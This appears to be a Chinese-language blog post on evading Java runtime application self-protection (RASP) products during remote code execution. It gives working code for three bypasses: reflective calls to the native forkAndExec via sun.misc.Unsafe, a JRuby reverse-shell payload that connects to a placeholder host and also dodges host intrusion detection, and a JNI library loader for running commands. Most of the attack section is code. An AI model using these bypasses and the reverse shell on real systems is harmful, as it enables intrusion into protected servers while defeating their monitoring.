Bypass RASP(Java)
RASP简介
Gartner在2014年提出了应用自我保护技术(RASP)的概念,即将防护引擎嵌入到应用内部,不再依赖外部防护设备。RASP防护产品通过hook应用关键函数,从底层监控应用的运行状态,解决基于http请求特征的防护方式容易被攻击者绕过的问题,有效提高应用对攻击的防护能力。
RASP防护机制
在Java语言中,执行系统命令的常规方法主要有两种,即Runtime.getRuntime().exec("command")和new ProcessBuilder("command").start(),其中Runtime.getRuntime().exec("command")的调用栈如下:
forkAndExec:208, UNIXProcess (java.lang)
<init>:247, UNIXProcess (java.lang)
start:134, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:620, Runtime (java.lang)
exec:450, Runtime (java.lang)
exec:347, Runtime (java.lang)
main:30, ExecTest (exploit)
由调用栈可知,
- Runtime.exec()实际上也是调用了ProcessBuilder.start()
- 两者直接或间接调用ProcessImpl.start()以及UNIXProcess.<init>(构造方法)
市面上大多数RASP产品也都是通过Hook ProcessImpl.start()和UNIXProcess.<init>这个两个方法来防御RCE类漏洞利用。
How to Bypass RASP?
目前想到两类方法,一类是用通过反射调用命令执行调用栈中更底层的方法,如UNIXProcess类中的forkAndExec方法;另一类是通过Java调用其他语言的API进行系统调用执行命令,如JNI、ScriptEngineManager等,具体细节如下:
-
forkAndExec方法
由RASP防护机制中的调用栈可知,ProcessImpl.start()方法中创建了UNIXProcess对象,UNIXProcess类构造方法中实际是调用了Native方法forkAndExec()来执行命令。
如果RASP仅对ProcessImpl.start()做了限制,那么我们可以直接通过反射创建UNIXProcess对象,调用forkAndExec(),若RASP对UNIXProcess.
也做了限制,那反射创建UNIXProcess对象就不可行了,因为反射创建对象本质上也是调用其构造方法。那这种情况如何绕过呢?这里有个技巧就是可以通过sun.misc.Unsafe.allocateInstance(Class)来绕过构造方法直接创建UNIXProcess对象,然后反射调用其forkAndExec()方法。 可直接反射调用forkAndExec()的利用代码如下:
public static byte[] toCString(String s) { if (s == null) return null; byte[] bytes = s.getBytes(); byte[] result = new byte[bytes.length + 1]; System.arraycopy(bytes, 0, result, 0, bytes.length); result[result.length - 1] = (byte) 0; return result; } public static InputStream execByForkAndExec(String[] cmdArray) throws Exception { if (cmdArray != null) { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class processClass = null; try { processClass = Class.forName("java.lang.UNIXProcess"); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); } Object processObject = unsafe.allocateInstance(processClass); // Convert arguments to a contiguous block; it's easier to do // memory management in Java than in C. byte[][] args = new byte[cmdArray.length - 1][]; int size = args.length; // For added NUL bytes for (int i = 0; i < args.length; i++) { args[i] = cmdArray[i + 1].getBytes(); size += args[i].length; } byte[] argBlock = new byte[size]; int i = 0; for (byte[] arg : args) { System.arraycopy(arg, 0, argBlock, i, arg.length); i += arg.length + 1; // No need to write NUL bytes explicitly } int[] envc = new int[1]; int[] std_fds = new int[]{-1, -1, -1}; Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); Object launchMechanismObject = launchMechanismField.get(processObject); byte[] helperpathObject = (byte[]) helperpathField.get(processObject); int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class); forkMethod.setAccessible(true); int pid = (int) forkMethod.invoke(processObject, new Object[]{ ordinal + 1, helperpathObject, toCString(cmdArray[0]), argBlock, args.length, null, envc[0], null, std_fds, false }); Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds); Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream in = (InputStream) getInputStreamMethod.invoke(processObject); return in; } return null; } -
ScriptEngineManager
JDK 6.0后新增Java脚本引擎,对应的包是javax.script,使 Java 应用程序能够经过一套固定的接口与各类脚本引擎交互。默认情况下,Java 6只支持JavaScript脚本,但是可以通过远程加载其他语言脚本引擎jar包来实现在Java中调用其他脚本语言的目的。
这里以ruby为例,通过ruby代码进行系统调用执行命令,就绕过了RASP对ProcessImpl.start()和UNIXProcess.
方法的HOOK监控。前面有提到一点,默认情况下是不支持ruby的,可以先远程加载相关Jar再执行ruby代码。 可直接反弹shell的POC如下(不会额外产生反弹shell的子进程,所以也可以绕过HIDS对Java异常子进程的监控):
public static void execByJruby(String[] cmdArray) { String jrubyReverse = "require 'socket';c=TCPSocket.new(\"IP\",\"PORT\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"; if (cmdArray != null){ ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("jruby"); try { engine.eval(jrubyReverse); }catch (Exception e){ e.printStackTrace(); } } } -
JNI调用
JNI是Java Native Interface的缩写,它提供了一些API实现了Java和其他语言的通信(主要是C&C++),JDK中自带了很多native方法,前文中提到的forkAndExec()也是其中之一。
这里的绕过思路是用C/C++实现能执行系统命令的native方法,生成动态链接库,然后在Java代码执行的上下文中加载这个链接库,调用其native方法执行命令。
攻击POC和编译好的动态连接库如下(加载对应动态连接库和jni.CommandExecution类后调用CommandExecution.exec()):
public static void main(String[] args) throws Exception { //真实环境中可先调用java代码根据lib.so生成相关二进制文件 System.load("lib.so"); //真实环境中需显式地通过字节码等方式加载CommandExecution类到JVM中 Class CommandExecution = Class.forName("jni.CommandExecution"); CommandExecution.getMethod("exec", String.class).invoke(null, ${COMMAND}); }//jni.CommandExecution public class CommandExecution { public static native String exec(String cmd); }
浙公网安备 33010602011771号